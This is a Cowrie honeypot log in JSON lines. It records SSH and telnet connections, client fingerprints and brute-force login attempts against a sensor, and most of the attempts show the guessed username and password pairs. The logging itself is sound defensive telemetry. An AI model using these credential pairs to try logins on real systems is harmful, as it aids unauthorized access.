{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:09.113729Z","src_ip":"102.210.148.92","session":"dbaa15e6d431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:09.292139Z","src_ip":"45.123.217.22","session":"86d6149d7b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":36544,"dst_ip":"10.17.0.5","dst_port":22,"session":"03556e62a995","protocol":"ssh","message":"New connection: 87.106.47.28:36544 (10.17.0.5:22) [session: 03556e62a995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:09.897334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:09.902406Z","src_ip":"87.106.47.28","session":"03556e62a995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:10.007331Z","src_ip":"87.106.47.28","session":"03556e62a995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword123","message":"login attempt [ubuntu/P@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:10.291547Z","src_ip":"45.123.217.22","session":"86d6149d7b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"1","message":"login attempt [dummy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:10.431956Z","src_ip":"87.106.47.28","session":"03556e62a995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:11.527339Z","src_ip":"45.123.217.22","session":"86d6149d7b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:11.532477Z","src_ip":"87.106.47.28","session":"03556e62a995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41422,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6c3609e16b","protocol":"telnet","message":"New connection: 107.6.151.170:41422 (159.203.135.109:23) [session: fe6c3609e16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:17.843656Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":50176,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c8c4675f31","protocol":"ssh","message":"New connection: 163.7.9.84:50176 (10.17.0.5:22) [session: a3c8c4675f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:30.181553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:30.188260Z","src_ip":"163.7.9.84","session":"a3c8c4675f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:30.447773Z","src_ip":"163.7.9.84","session":"a3c8c4675f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1qaz2wsx","message":"login attempt [myuser/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:31.509504Z","src_ip":"163.7.9.84","session":"a3c8c4675f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:32.769138Z","src_ip":"163.7.9.84","session":"a3c8c4675f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":61070,"dst_ip":"10.17.0.5","dst_port":22,"session":"b503cb22bf43","protocol":"ssh","message":"New connection: 45.148.10.157:61070 (10.17.0.5:22) [session: b503cb22bf43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:33.219283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:33.223312Z","src_ip":"45.148.10.157","session":"b503cb22bf43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:33.958029Z","src_ip":"45.148.10.157","session":"b503cb22bf43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:38.367458Z","src_ip":"45.148.10.157","session":"b503cb22bf43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.44003963470459,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:45.283455Z","src_ip":"107.6.151.170","session":"fe6c3609e16b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5860,"dst_ip":"10.17.0.5","dst_port":22,"session":"517231ab4e58","protocol":"ssh","message":"New connection: 196.188.93.169:5860 (10.17.0.5:22) [session: 517231ab4e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:49.104537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:49.108566Z","src_ip":"196.188.93.169","session":"517231ab4e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:49.283666Z","src_ip":"196.188.93.169","session":"517231ab4e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"vhserver","message":"login attempt [vhserver/vhserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:50.029098Z","src_ip":"196.188.93.169","session":"517231ab4e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:51.206402Z","src_ip":"196.188.93.169","session":"517231ab4e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":32858,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aee3eafb6a2","protocol":"telnet","message":"New connection: 107.6.151.170:32858 (159.203.135.109:23) [session: 1aee3eafb6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:00.918911Z"}
{"eventid":"cowrie.session.closed","duration":0.008650541305541992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:00.927419Z","src_ip":"107.6.151.170","session":"1aee3eafb6a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":35858,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b4d85c8e1bc","protocol":"ssh","message":"New connection: 129.146.243.24:35858 (159.203.135.109:22) [session: 7b4d85c8e1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:05.293942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:05.548928Z","src_ip":"129.146.243.24","session":"7b4d85c8e1bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:05.693999Z","src_ip":"129.146.243.24","session":"7b4d85c8e1bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rain","password":"rain","message":"login attempt [rain/rain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:06.098684Z","src_ip":"129.146.243.24","session":"7b4d85c8e1bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:07.201215Z","src_ip":"129.146.243.24","session":"7b4d85c8e1bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":39884,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa3d9224874","protocol":"ssh","message":"New connection: 45.78.204.254:39884 (10.17.0.5:22) [session: 7aa3d9224874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:08.532927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:08.537555Z","src_ip":"45.78.204.254","session":"7aa3d9224874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:08.782466Z","src_ip":"45.78.204.254","session":"7aa3d9224874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"123","message":"login attempt [myftp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:09.797195Z","src_ip":"45.78.204.254","session":"7aa3d9224874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:12.101989Z","src_ip":"45.78.204.254","session":"7aa3d9224874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":35756,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8df0799a39","protocol":"ssh","message":"New connection: 14.63.196.175:35756 (159.203.135.109:22) [session: ea8df0799a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:37.620773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:37.629460Z","src_ip":"14.63.196.175","session":"ea8df0799a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:37.837961Z","src_ip":"14.63.196.175","session":"ea8df0799a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123","message":"login attempt [alex/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:38.701315Z","src_ip":"14.63.196.175","session":"ea8df0799a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":40972,"dst_ip":"159.203.135.109","dst_port":22,"session":"4870dca79fb2","protocol":"ssh","message":"New connection: 152.32.214.226:40972 (159.203.135.109:22) [session: 4870dca79fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:39.188752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:10:39.194664Z","src_ip":"152.32.214.226","session":"4870dca79fb2","protocol":"ssh"}
